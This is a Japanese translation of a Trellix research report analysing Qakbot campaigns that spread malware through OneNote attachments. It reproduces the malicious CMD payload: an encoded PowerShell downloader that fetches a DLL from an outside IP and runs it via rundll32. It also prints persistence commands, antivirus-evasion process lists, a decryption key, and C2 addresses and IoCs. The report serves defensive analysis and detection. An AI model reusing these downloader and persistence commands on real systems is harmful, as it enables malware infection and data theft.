Qakbot(別名:QBot、QuakBot、Pinkslipbot)は、少なくとも2007年から活動している高度なマルウェアです。2023年1月末以降、マルウェアの配布にOneNote文書を使用する、斬新な配信手法を用いたQakbotのキャンペーンの数が急増しています。さらに、Trellix Advanced Research Centerでは、AsyncRAT、Icedid、XWormなどの他のマルウェアを配布するためにOneNoteドキュメントを使用する様々なキャンペーンを検出しています。
目次
Qakbotの概要
Qakbotバンキング型トロイの木馬は、少なくとも2007年から活動している高度で危険なマルウェアの一部です。Qakbotはワームのような機能を持ち、感染したネットワークを自律的に増殖させることが可能です。主に、感染したシステムからログイン情報や財務情報などの機密情報を盗んだり、被害者のシステム上で追加のマルウェアをダウンロードし実行するためにも使用されます。新たな機能として、追加のマルウェアモジュールを取得し、データ流出を実行するためのC2通信が追加されています。また、Qakbotには複数の回避技術やサンドボックスによる検知機能が含まれています。
このマルウェアは、主にフィッシングメールや悪意のある添付ファイルを介して拡散されますが、QakbotはEmotetなどの他のボットネットによってドロップされる二次的なペイロードとしても確認されています。Qakbotは、Prolock、Egregor、DoppelPaymerなどのランサムウェアのドロップに使用されています。また、以前はTA570と関連しており、キャンペーンの最初のエントリポイントとしてこのマルウェアを使用することがよくありました。
このタイムライン(図1)は、過去3ヶ月間の世界のQakbot感染率を示しており、この危険なマルウェア配布の脅威が継続していることを強調しています。10年以上にわたるウイルス対策への取り組みにもかかわらず、Qakbotの検出数の世界的なヒートマップを示した図2に示すように、Qakbotは依然として世界中の個人および組織にとって重大なリスクとなっています。Qakbotの感染は、多くの国で何度も検出されています。これらのキャンペーンが特定の業界や国を標的にしているわけではないにもかかわらず、米国、インド、トルコ、タイで相当数の感染が確認されています。感染したIoCの数が最も多かったセクターは、銀行、金融、ウェルスマネジメントで、政府、アウトソーシングがそれに続いています。
図2 過去3ヶ月間のQakbot検出のグローバルヒートマップ
長年にわたり、Qakbotは感染経路の面で大きな変化を遂げながら進化してきました。電子メールは、攻撃者にとって好まれる初期の攻撃手段です。最近では、乗っ取られた電子メールの脅威が、その悪意のある電子メールを挿入することで一般的になっています。Sophosのレポートによると、攻撃者が、ユーザーをQakbotマルウェアファミリーの亜種に感染させるために、悪意のあるMicrosoft OneNoteドキュメントを含むスピアフィッシングメールを配布し始めているとのことです。
調査では、マルウェア「Qakbot」の新たな拡散経路に関する分析を紹介します(図3)。具体的には、QakbotローダーDLLとその解凍形につながる悪意のあるOneNoteドキュメントの分析です。難読化解除、悪意のある部分の解凍、およびその構成の抽出方法を紹介します。今回の調査から、OneNoteドキュメントを活用して他のマルウェア亜種を配布する手法は、今後も増加すると考えられます。
図3 悪意のあるOneNoteキャンペーンの脅威経路
初期感染経路
OneNoteドキュメントを感染経路として悪用するマルウェアファミリーにとって、電子メールは最初の攻撃経路となっています。攻撃者は、目的を達成するために、異なる波で2つの攻撃経路を交互に繰り返しています。
- 電子メールに埋め込まれたURLから悪意のあるファイルをダウンロードする: URLベースの攻撃は、IPアドレスとUser-Agentの回避と結びついており、User-Agent文字列がMicrosoft Windowsコンピュータから来た場合にのみ、悪質なファイルを提供するようになっています。Mac/iOS、Linux、AndroidのブラウザからのUser-Agentは無視されます。また、一部の解析エンジンでは、これらのパターンを識別・抽出することができないため、検出を回避するためにスキームレスURLを採用しています。
- 電子メールに添付された悪意のあるファイル (図4): 攻撃者は、ペイロードを配信するために、さまざまな種類の添付ファイルを使用してきました。これまで、ZIPファイル、HTMLファイル、PDFファイル、そして現在ではOneNoteファイルを使用しています。また、パスワード保護と組み合わせることで、パスワードがメールに記載されていたり、ダウンロードページにパスワードが記載されている合法的なサービス上でファイルがホスティングされたりして、分析を回避してきました。
図4 OneNoteドキュメントを添付したフィッシングメール
このようなキャンペーンでは、OneNoteドキュメントのさまざまなバリエーションが使用されていることが確認されています。
図5は、マルウェアQakbotを含むZIPファイルをダウンロードするように被害者を誘導する、PDFの添付ファイルでも確認されたテーマ別のフィッシング攻撃を示しています。具体的な手口や侵害の指標は、「付録」で確認できます。
図6 フィッシングOneNoteドキュメント実行時のスクリーンショット:バリエーション2
すべてのOneNote文書にCall-to-Actionボタン(CTA)が存在し、埋め込まれたペイロードを実行するためにクリック操作を要求します。被害者が偽のメッセージを信じてCTAボタンをクリックすると、埋め込まれた添付ファイルは警告メッセージボックスとともに表示されます。被害者が「OK」をクリックすると、警告メッセージは表示されなくなり、リモートペイロードがダウンロードされ実行されます。
第1段階のマルウェア解析:Microsoft OneNoteドキュメント
OneNoteの脅威ベクトルの概要
Microsoft OneNoteは、ユーザーが自分の考えやアイデア、メモを記録して整理することができるノート型コラボレーションツールです。Microsoft Officeスイートからデフォルトでインストールされ、Windows、macOS、Android、iOSなど、幅広いプラットフォームで利用できます。OneNoteドキュメントは、マルウェアの検出を行う際に見落とされがちです。OneNoteはVBAマクロを実行できないにもかかわらず、最初のベクトルとしてフィッシングに大きな可能性を持っています。OneNoteには以下のような利点があります。
- ユーザーに悪意のあるファイルやリンクを開かせるフォーマット機能を提供
- Office Protected View、またはMark of the Web保護の影響を受けない
- OneNoteは、Outlook、Word、Excel、PowerPointなど、プロテクトビューなしで表示できる他のMicrosoft Officeアプリケーションとの統合をサポート
- MSF、BAT、HTA、BAT、EXEファイルなど、実行可能な拡張子の埋め込みが可能
- OneNote XMLオブジェクトによるコード開発のポータビリティにより、攻撃者が難読化された亜種を大量に自動生成することが容易
この研究では、MD5ハッシュ83feba178d00097929e6efeb27719d5dbで識別される特定のサンプルを分析します。このサンプルは、主にOffice OneNoteドキュメントの添付ファイルを含むスパムメールを通じて拡散されるQakbotキャンペーンに属しています。Trellix Advanced Research CenterのThreat Intelligence Groupは、このレポートを発信する前に、複数のオープンソースおよびクローズドソースから情報を収集・分析しています。
その情報を解析するために、OneNoteAnalyzer、One-Extract、Onedump.pyなど、いくつかの無料ツールがOneNoteドキュメントの解析に役立つことがあります。この特定のOneNoteサンプルは、CMD(Windows Command File)を含んでおり、実行可能なコードを含む可能性があることを示しています。以下は、OneNoteAnalyzerを使用して抽出されたメタデータです。
抽出されたメタデータから、添付されたCMDは、Microsoft OneNote 2010を使用して、2023年2月6日に「Z:◆buildone」というパスで最後に保存されたものであることがわかります。悪意のあるペイロードを含むCMDのペイロードは、以下のコードに示されています。
powershell.exe $aV2hgYDB = '5d44a2b0d85aa1a4dd3f218be6422c66';
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnNldCBhTWVXMUU9YTgweU9zDQpzZXQgYVRacG9MPWFxRDE4R1kNCnNldCBhZmhIZUo9YUdzSzR5VWpmDQpwb3dlcnNoZWxsIChuZXctb2JqZWN0IHN5c3RlbS5uZXQud2ViY2xpZW50KS5kb3dubG9hZGZpbGUoJ2h0dHA6Ly8yMTYuMTIwLjIwMS4xMDAvNjA4NTIuZGF0JywgJ0M6XHByb2dyYW1kYXRhXGdiLmpwZycpOw0Kc2V0IGFqYXM0YkVGPWFmd1VwUQ0Kc2V0IGE4bFdJajQ9YXhUOHV2OXANCmNhbGwgcnUlMWxsMzIgQzpccHJvZ3JhbWRhdGFcZ2IuanBnLFdpbmQNCmV4aXQNCg==')) > C:\Users\Public\1.cmd&&start /min C:\Users\Public\1.cmd nd
このコマンドはPowerShellを起動し、変数$aV2hgYDBに特定の値を設定します。その後、Base64エンコードされた文字列をデコードし、特定のURLからファイルをダウンロードし実行するコマンドを実行します。このコマンドの出力は、「Public」ユーザーフォルダーにある「1.cmd」という名前のファイルにリダイレクトされ、スクリプトはこのファイルを起動し、その中に含まれるコマンドを実行します。Base64コードをデコードすると、次のようになります。
@echo off
set aMeW1E=a80yOs
set aTZpoL=aqD18GY
set afhHeJ=aGsK4yUjf
powershell (new-object system.net.webclient).downloadfile('http://216.120.201.100/60852.dat',
'C:\programdata\gb.jpg');
set ajas4bEF=afwUpQ
set a8lWIj4=axT8uv9p
call ru%1ll32 C:\programdata\gb.jpg,Wind
exit
このスクリプトは、まず、コマンドエコーをオフにします。その後、いくつかの変数を特定の値に設定します。PowerShellコマンドを実行し、指定されたURLからファイルをダウンロードし、「C:\programdata\gb.jpg」に保存します。モジュール名として Wind を指定し、引数として「rundll32」コマンドと「C:︓programdatagb.jpg」ファイルを実行するコマンドを実行します。これにより、そのファイルがDLLとして実行されます。
リモートペイロードをダウンロードするために、マルウェアはpowershell (new-object system.net.webclient).downloadfile を使用し、User-Agentヘッダーなしでリモートホストにリクエストを行います。他のOneNoteキャンペーンでも、cURL(一般的なLinuxツールですが、Windows 10以降のバージョンでは一部になっています)とPowerShell Invoke-WebRequestを使用することが確認されています。マルウェアは時間とともに進化しているため、以下のコマンドを実行してリモートペイロードを手動で取得し、監視することをお勧めします。
curl http://216.120.201.100/60852.dat -H ‘User-Agent:’ –output gb.jpg
以下の表は、悪意のあるペイロードが使用するダウンロード技法に応じて、再現を推奨するユーザーエージェントの一覧です。
技術 推奨ユーザーエージェント |
curl curl/7.86.0 |
powerShell Invoke-WebRequest Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.17763.316 |
powershell (new-object No User-Agent system.net.webclient).downloadfile |
第2段階のマルウェア解析:悪意のあるLoader DLL
このDLLには、他のプログラムから呼び出すことができる関数である458のエクスポート(図8)を含む複数のセクションが含まれています。この場合、悪意のある動作は「Wind」という名前のエクスポートまたはその通常の番号#458を介してのみ実行可能であり、それ以外の場合、サンドボックス分析で悪意のある動作を監視することができません。
DLLファイル内のエントリポイント「Wind」は、ダイレクトジャンプや条件付きジャンプ(jmp、jz、jnz)など、さまざまな回避技術を使用して難読化されています。これには、XORを使用して復号化され、メモリ内で実行されるシェルコードが含まれています。このシェルコードは、さらにメインのQakbot DLLを復号化し、メモリから解放して、最後にメインのQakbotペイロードを実行します。
この特定のサンプルは、PEBを通じて様々なアンチデバッグ技術を利用しているため、アナリストはデバッガ環境を設定する際に回避策を利用することをお勧めします(図9参照)。
メモリからダンプされたQakbotのDLLは、セクションの位置がずれているため、アナリストはファイルヘッダ内のセクションアドレスとサイズを適切な値に修正する必要があります(図10参照)。
第3段階のマルウェア解析: Qakbot Core DLL
このQakbot亜種の動作と技術については、私たちの研究チームやその他の研究チームなどから、すでに多数の詳細なレポートが入手可能であり、その機能と手口の詳細な分析が提供されています。私たちの焦点は、このサンプルに関連する重要な調査結果 (文字列の難読化、持続性、回避技術、および C2通信) を提示することであり、最新技術で既に容易に入手できる情報を複製することではありません。
文字列の難読化
マルウェア バイナリの重要な文字列値のほとんどは暗号化されているため、文字列などの静的分析ツールからは何も返されませんが、静的抽出を使用して復号化できます。暗号化された文字列とキーは、スタックまたはレジスタに読み込まれる4つの別々の場所にハードコーディングされ、0x100019D4と0x10009388で機能するように呼び出されて復号化されます。復号化関数は、要求された文字列のインデックスである 1 つの引数を受け入れます。
; void *__cdecl sub_100019A6 (unsigned int index)
sub_100019A6 proc near
index= dword ptr 8
push ebp
mov ebp, esp
push [ebp+index]
mov edx, 57Dh
push ecx
push offset key_blob_1
mov ecx, offset enc_blob_1
call sub_1000A0A6
add esp, 0Ch
pop ebp
retn
sub_100019A6 endp
表1. スタックからインデックス入力を取得する復号化関数
sub_1000198C proc near
push ecx
push ecx
push offset key_blob_1
mov edx, 57Dh
mov ecx, offset enc_blob_1
call sub_1000A0CC
add esp, 0Ch
retn
sub_1000198C endp
表2 レジスタからインデックス入力を取得する復号化関数
2つの暗号化されたblobとキーの間でXORを実行するだけで、復号化された2 の連続した文字列blobが得られます。以下のセクションでは、復号化された文字列と分解されたコードに基づいて、この Qakbot亜種の主な機能を紹介します。
暗号化された2つのblobと鍵の間を単純にXORすることで、復号化された2つの連続文字列blobを実現します。復号化された文字列と分解されたコードに基づき、以下のセクションではこのQakbot亜種の主要な特徴を紹介します。
持続性
“%s\system32\schtasks.exe” /Create /ST %02u:%02u /RU “NT AUTHORITY\SYSTEM” /SC ONCE /tr “%s” /Z /ET %02u:%02u /tn %s
schtasks .exe /Create /RU “NT AUTHORITY\SYSTEM” /SC ONSTART /TN %u /TR “%s” /NP /F
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
上記のコマンドの実行は、マルウェアが使用する持続メカニズムを示しています。最初の行は、Windowsの組み込みツール「schtasks.exe」を使用して、スケジュールされたタスクを作成します。タスクは、”/ST %02u:%02u”および“/ET %02u:%02u”パラメータで指定されているように、指定された時間に1回だけ実行するように設定されています。タスクは、「/RU」パラメータで指定された「NT AUTHORITY ∖ SYSTEM」ユーザーを使用して、最高の権限で実行されます。タスク コマンド“%s”は、”/tr” パラメーターを介して引数として渡されます。“/Z”パラメータは、ユーザーがログオフしてもタスクが実行され続けることを保証します。タスクには、”/tn %s “パラメータで指定された名前が与えられます。
2 行目は、”/SC ONSTART” パラメータで指定されているように、システムが起動するたびに実行されるように設定されています。「/NP」パラメーターを指定すると、タスクに管理者権限を求めるプロンプトが表示されなくなります。「/F」パラメーターを指定すると、同じ名前のタスクが既に存在する場合でも、強制的にタスクが作成されます。
このサンプルでは、スケジュールされたタスクを作成するか、 SOFTWARE\Microsoft\Windows\CurrentVersion\Runにレジストリ実行キーを作成します。
プロセスインジェクション
DLL ペイロードが実行されると、悪意のあるコードを正当なWindows OSプロセスに挿入して防御回避を実行します。図 11は、コードと、プロセス ハロウイング手法の最初のステップとして中断されたプロセス (wermgr.exe) を作成する方法を示しています。
以下は、実行中にQakbot core .DLL によって挿入されるプロセスのリストです。
%SystemRoot%\System32\wermgr.exe %SystemRoot%\SysWOW64\OneDriveSetup.exe %SystemRoot%\System32\xwizard.exe %SystemRoot%\System32\msra.exe %SystemRoot%\System32\dxdiag.exe %SystemRoot%\SysWOW64 \xwizard.exe %SystemRoot%\System32\AtBroker.exe %SystemRoot%\SysWOW64\mobsync.exe %SystemRoot%\SysWOW64\wermgr.exe %SystemRoot%\SysWOW64\AtBroker.exe % SystemRoot%\explorer.exe %SystemRoot% \System32\OneDriveSetup.exe %SystemRoot%\SysWOW64\CertEnrollCtrl.exe %SystemRoot%\SysWOW64\msra.exe %SystemRoot%\SysWOW64\dxdiag.exe %SystemRoot%\System32\CertEnrollCtrl.exe %SystemRoot%\System32\mobsync.exe %SystemRoot%\SysWOW64\explorer.exe |
表 3 Qakbotコアによって挿入できるプロセスのリスト
回避技術
アンチデバッグ
表 4 のコードは、このサンプルがPEB構造体のBeingDebuggedを使用してデバッグされているかどうかを検証するコード スニペットを示しています。フラグを検出すると、 2 つの復号化キー テーブルを0xB8でXORして自己破壊し、プロセスを終了します。
int __thiscall sub_100026E5(void* this,int al){
unsigned int v3; // eax
unsigned int i; // ecx
if (sub_1000BDB3(this) == -1) {
while (1){
if (sub_1000F297() > 0) {
sub_1000BEAC(63, 1);
return 0;
}
if (NtCurrentPeb() -> BeingDebugged)
break;
( * (void(__stdcall **)(int, int))(dword_10020D98 + 200))(1000, 1);
}
v3 = 0;
for (i=0; i <0x80; ++i)
key_blob_2[i] ^= 0xB8u;
do
key_blob_1[v3++] ^= 0xB8u;
while (v3 > 0x80);
}
return 0;
}
表4 デバッグ中のPEBを使用したアンチデバッグ
アンチダイナミック解析
このマルウェアは、ブロックリストに実行中のプロセスがあるかどうかをチェックします。
ettercap.exe proc_analyzer.exe
rtsniff.exe sysAnalyzer.exe
packetcapture.exe sniff_hit.exe
capturenet.exe joeboxcontrol.exe
qak_proxy joeboxserver.exe
dumpcap.exe ResourceHacker.exe
CFF Explorer.exe x64dbg.exe
not_rundll32.exe Fiddler.exe
ProcessHacker.exe sniff_hit.exe
tcpview.exe procmon.exe
filemon.exe sysAnalyzer.exe
Anti AV
マルウェアペイロードは、「C:\INTERNAL\__empty」のWinAPI GetFileAttributesを使用して、Windows Defender Emulationをチェックします。Kaspersky、Sentinel、AVG、Dr. Web、Fortinet、TrendMicro、F-Secure、ByteFence Anti-Malware、BitDefender、Avast、Windows Defender、Comodo Internet Security、ESET、などのアンチウイルス製品に関連したプロセスのリストを確認します。
CynetEPS.exe;CynetMS.exe;CynetConsole.exe
avp.exe;kavtray.exe
SentinelServiceHost.exe;SentinelStaticEngine.exe;SentinelAgent 。EXE;
SentinelStaticEngineScanner.exe;SentinelUI.exe
ccSvcHst.exe;NortonSecurity.exe;nsWscSvc.exe
coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe
vkise.exe;isesrv.exe;cmdagent.exe
MBAMService.exe;mbamgui.exe
avgcsrvx.exe ;avgsvcx.exe;avgcsrva.exe
CSFalconService.exe;CSFalconContainer.exe
bdagent.exe;vsserv.exe;vsservppl.exe
xagtnotif.exe;AppUIMonitor.exe
egui.exe;ekrn.exe
SophosUI.exe;SAVAdminService.exe;SavService.exe
dwengine.exe;dwarkdaemon.exe;dwwatcher.exe
C2通信
Qakbotの暗号化/復号化処理において、コアDLLは暗号化されたConfigurationと暗号化されたC2 IPsリストという2つのリソースを持ちます。これらのリソースを復号化するために、各Qakbotサンプルに固有の特定の文字列に対してSHA1ハッシュが計算され、そのハッシュがRC4アルゴリズムのキーとして使用されます。
図 12 DLLリソース内の暗号化された構成値
ハードコードされたキー”bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN」” を用いたRC4技法による最初の復号では、次のデータが生成されます。
- バイト0から20まで: 暗号化された構成を持つ2番目のキーのSHA1ハッシュ
- 20バイト目から40バイト目: 2番目のキー
- バイト40から: 暗号化された構成
そして、2つ目のキーは、2回目のRC4復号化の入力として使用され、復号化された設定を取得します。
復号化後、このQakbotのキャンペーンIDは「tok01」、タイムスタンプは「1676453967」であり、2023年2月15日に相当することがわかりました。抽出されたすべてのC2(IP:ポート)は、付録の表2に記載されています。これらのアドレスのほとんどは、追加のプロキシまたは実際のC2にトラフィックを転送するためのプロキシとして使用される他の感染システムに属しています。
Qakbotは、感染チェーンでいくつかのモジュールを使用することが知られています。
- システム情報の収集: OS バージョン、ユーザー名、コンピューター名、ドメイン、画面解像度、システム時間、システム稼働時間、ボット稼働時間などの一般的なシステム情報に加えて、インストールされたアプリケーションの結果と WMI クエリが収集されます。
- リモート プラグインの取得: Qakbot には少なくともいくつかの既知の異なるプラグインがあります: パスワードグラバー、クッキーグラバー、UPnPモジュール、Hidden VNC、メールコレクター、フックモジュール、プロキシモジュール、Webインジェクト。
脅威の検知戦略
このセクションは、主に検知エンジニアリングと脅威ハンティングに取り組むセキュリティチームを対象としています。これは、キャンペーンの主要な動作、検知の機会、緩和策で構成されています。
重要な行動(TTP)
これは、検知に活用できる脅威の動作のリストの一部です。
戦術的な目標 | ATT&CK テクニカル (Technique ID) | 脅威となる行動・言動 |
初期アクセス |
|
攻撃者は、悪意のあるOneNoteファイル(拡張子.one)を添付した悪意のある電子メールを開くようにユーザーを誘導 |
実行 |
|
ユーザーが悪意のあるOneNoteファイルの添付ファイルを開封 |
実行 |
|
ユーザーがOneNoteファイルに含まれる不正なリンクをクリック |
防御回避 |
|
OneNoteは、埋め込まれた.HTAファイルを実行するためにMSHTAを起動 |
コマンド&コントロール |
|
MSHTAは、第2段のペイロードをダウンロードするためにcURLを起動 |
防御回避 |
|
2段目のペイロードを実行するためにRunDll32を起動 |
防御回避 |
|
RunDll32 (Qbot) は、Windows システムプロセス (例: wermgr.exe) に起動し、挿入 |
ディスカバリー |
|
挿入されたWindowsシステムプロセス(例:wermgr.exe)は、WMIを介して検出コマンドを実行 |
ディスカバリー |
|
挿入されたWindowsシステムプロセス(例:wermgr.exe)は、CMDを介して検出コマンドを実行 _ net view |_ cmd /c set |_ arp -a |_ ipconfig /all |_ nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.{DOMAIN} |_ nltest /domain_trusts /all_trusts |_ net share |_ route print |_ netstat -nao |_ net localgroup |_ qwinsta |_ whoami /all |
持続性 |
|
Windowsシステムプロセス(例:wermgr.exe)は、スケジュールされたタスクによって持続性を確立 |
持続性 |
|
Windowsシステムプロセス(例:wermgr.exe)は、オートランレジストリキーを介して持続性を確立 |
検知の機会
これは、脅威の行動、分析方法 (D3FEND)、およびATT&CK手法に対する検知の機会のマッピングです。
ディフェンス目標 | 脅威の行動と検知の機会 | 分析方法 | ATT&CKテクニカル(Technique ID)Technique ID) |
不審なプロセス実行を検知(系図) |
|
|
|
不審なプロセスインジェクションの試行を検知 |
|
|
|
不審なネットワーク接続の試行を検出 (ネットワーク接続イベント) |
|
|
|
不審なコマンドの連続を検出 (プロセス作成されたイベント) |
|
コマンド実行解析 |
|
注:この分析では、Outlook、OneNote、MSHTA、RunDll32、Cmd、schtask、wermgへの参照は、予想されるパスから実行される正当なのシステムバイナリであることを意味します。
予防と緩和
CISAのフィッシング対策に関する推奨事項に加えて、このキャンペーンに対して以下の予防・緩和策を推奨します。
- 一般的でないファイル拡張子 (.one、.hta、.vbs、.js、.wsf、.iso、.vhd、.img) の添付ファイルを含む電子メールをブロック [安全な電子メール ゲートウェイ機能]
- 既知の悪意のあるサイトをブロックする [OUTBOUND WEB-BROWSING PROTECTIONS]
- めったに使用されないトップレベル ドメインをブロックする [OUTBOUND WEB-BROWSING PROTECTIONS]
- 一般的に悪用されるシステム バイナリ (MSHTA.exe、RunDll32.exe、cmd.exe など) によって開始されたネットワーク接続をブロックする [OUTBOUND WEB-BROWSING PROTECTIONS]
- 環境で一般的でないスクリプトファイル形式のデフォルトのファイル関連付けを変更します (例: .wsf、.js、.hta、.vba、.chm、.cmd) [ENDPOINT PROTECTIONS]
- マルウェアによって一般的に使用されるパス (例: %PROGRAMDATA%) での PEファイルの作成をブロック [ENDPOINT PROTECTIONS]
脅威インテリジェンス
最近のQakbot OneNoteの亜種は、添付ファイル名にU+202Eを使用するトリックを利用しています。これは、テキストの方向を左から右へ、右から左へ反転させるために使用されるRight-to-Left Override文字を使用するものです。正規のファイル名のように見えて、実は悪意がある添付ファイル名となり、例えば、「tempeno.hta」という名前のファイルを、このテクニックを使って「tempath.one」にリネームすると、OneNoteの文書と思い込んでファイルを開いてしまう可能性があります(図13)。
図14 OneNoteマルウェア配布キャンペーンからのマルウェアペイロード抽出のワークフロー
悪意のあるOneNoteドキュメントは、ここ数ヶ月で懸念が高まっています。OneNoteドキュメントを利用した最初の悪意あるキャンペーンの1つは、2022年6月以降、ドキュメント (1dc133f24649611277716350f9d63ccd7c30cec27b9b4b7c62f6bfe395acfac)内部にPEバイナリ(KrbRelayUp)を含むPoCスクリプトや、2022年11月中旬にPoshC2をインストールするためのリモートPowerShellスクリプトをダウンロードする埋め込みHTA(1ff8e47def1e557b14470f95215d8763876f28411d4cfc7319c077733acd63)でした。
図15 NedBankを標的とした2022年11月以降のOneNoteドキュメントのフィッシング
しかし、2023年2月16日までに収集されたファイルをカウントすると、2022年12月~2023年1月以降、悪意のあるOneNoteサンプルの数が徐々に増加しています(図16)。さらに、無害なOneNoteサンプルの一部は、悪意のあるOneNoteファイルを実行した際にユーザーがダウンロードするおとりファイルサンプルであることがわかります。さらに、悪意のあるファイルの実行時にユーザがダウンロードするおとりファイルとして使用される無害なOneNoteサンプルの数も増加しています。この傾向は、悪意のあるOneNoteサンプルの比率が大きく増加していることを示しています。
図16 2023年01月以降の悪意のあるOneNoteの検出
図17は、2023年の悪意のあるOneNoteの検出状況を示すチャートです。これらの発生は、米国、韓国、ドイツなど様々な国で報告されており、幅広い業種に影響を与えています。
図17 2023年に各国で検出された悪意のあるOneNoteのイベント
業界間の検出の統計についてより深い洞察を得るために、感染した侵害の兆候を分析しました。その結果(図18)、製造業、ハイテク、通信の各セクターで感染したIoCの数が最も多いことが分かりました。このことは、これらの業種がこの種の攻撃に対してより脆弱である可能性があり、潜在的な脅威からシステムやネットワークを保護するための事前の対策が必要であることを示唆しています。
図18 2023年に業界全体で検出されたOneNoteイベント
また、様々な攻撃者がOneNoteドキュメントを利用してマルウェアを配布するようになりました。2002年12月には、OneNoteドキュメント内のPowerShellを使用して、リモートAsyncRATペイロードをダウンロードするキャンペーンを検出しました。2023年1月末以降、マルウェア配布にOneNoteドキュメントを使用するQakbotキャンペーンの数が急増しています 。最近では、同じ手口でIcedidマルウェアをドロップし始めたOnenoteドキュメントが検出されました。私たちは、以下のようなキャンペーンのいくつかを追跡調査しています。
Version | Campaign | Timestamp | Converted timestamp |
404.432 | obama235 | 1675240891 | February 1, 2023 |
404.432 | bb12 | 1675417198 | February 3, 2023 |
404.506 | bb15 | 1676367197 | February 14, 2023 |
404.510 | tok01 |
1676453967
|
February 15, 2023 |
表5 OneNoteドキュメントをマルウェア配布に利用したQakbotの各種キャンペーン
Version/Campaign | C2 |
0.5.7B | 207.244.236.205:6606 207.244.236.205:7707 207.244.236.205:8808 |
3LOSH RAT | xxxprofxxx.dnsdojo.com:5126 xxxsthebagsxxx.mywire.org:6606 xxxsthebagsxxx.mywire.org:7707 xxxsthebagsxxx.mywire.org:8808 |
0.5.7B | 209.126.83.213:6606 209.126.83.213:7707 209.126.83.213:8808 |
表6 OneNoteドキュメントをマルウェア配布に利用したAsyncRATの各種キャンペーン
Version/Campaign | C2 |
3954321778 | ehonlionetodo.com |
表7 マルウェア配布にOneNoteドキュメントを使用するIcedidマルウェア
C2 |
su1d.nerdpol.ovh:7000 |
表8 OneNoteドキュメントをマルウェア配布に利用するXwormマルウェア
結論
この調査では、マルウェアQakbotの新たな拡散経路ーの分析が示されています。OneNoteの悪意あるドキュメント、ローダーQakbot DLL、その主要なペイロードの詳細な分析で構成されています。Qakbotをどのように難読化し、解凍し、その設定を抽出したかを紹介します。
これらのQakbotキャンペーンは、特定の業界や地域を標的にしていないようですが、米国、インド、トルコ、タイでかなりの数の感染が確認されています。私たちの調査によると、この戦術は他のキャンペーンでも上昇し続けると考えています。攻撃者は、OneNoteの中に他の悪意のあるOfficeタイプを埋め込む、またはJava、Python、SCR、MSIなど他の古典的な実行ファイル戦術など、他の回避技術を模索することによって、セキュリティソリューションからの検出を回避する試みます。です。このキャンペーンに対して、組織やユーザーは、私たちが提案する予防策や緩和策に従うことをお勧めします。
Appendix
Trellixの悪意のあるOneNoteキャンペーンとQakbotの検出シグネチャ
Product | Signature |
Endpoint Security (ENS) | One/Downloader.a. W32/PinkSbot-IH W32/PinkSbot-HZ W32/PinkSbot-IB |
Endpoint Security (HX) | WERMGR LAUNCHED WITHOUT COMMAND LINE ARGUMENTS (METHODOLOGY) POWERSHELL DOWNLOAD AT SUSPICIOUS PATH (METHODOLOGY) QAKBOT J (FAMILY) |
Network Security(NX) Detection as a Service Email Security Malware Analysis File Protect |
FE_Trojan_ONE_Generic_1 FE_Trojan_ONE_Generic_2 FE_Trojan_ONE_Generic_3 FE_Trojan_ONE_Generic_4 FE_Trojan_ONE_Generic_5 FE_Trojan_ONE_Generic_6 FEC_Downloader_CMD_Generic_1 FEC_Downloader_CMD_Generic_2 FEC_Trojan_HTML_Generic_48 FEC_Trojan_HTML_Generic_49 FE_Trojan_Win32_QAKBOT_2 Downloader.CMD.Generic.MVX Suspicious EmbeddedObject Onenote Activity Suspicious Process Rundll32 Activity Policy File ONENOTE with Embeded Object Delivered thru Emails Suspicious Network By Powershell |
Helix | WINDOWS METHODOLOGY [Office Suspicious Child Process] (1.1.2497) WINDOWS METHODOLOGY [Rundll32 Abuse] (1.1.3992) |
IoC
最新のQakbotハッシュは、Trellix Insightsの各種Qbot Campaignで確認することができます。
DLL payload URLs
URL
http://185.104.195.9/87084.dat
Registries
URL
HKEY_CURRENT_USER\Software\Microsoft\[RANDOM]
Office365をテーマにしたフィッシングキャンペーンで、2023年2月22日からマルウェアQakbotを配布開始
図19 Office365をテーマとしたPDF添付のフィッシングの攻撃ベクトル
Version | Campaign | Timestamp | Converted timestamp |
404.9 | BB16 | 1677046917 | February 22, 2023 |
47.21.51.138:443
76.80.180.154:995 12.172.173.82:995※本ページの内容は2023年3月2日(US時間)更新の以下のTrellix Storiesの内容です。
原文:
著者:Pham Duy Phuc、Raghav Kapoor、John Fokker J.E., Alejandro Houspanossian、Mathanraj Thangaraju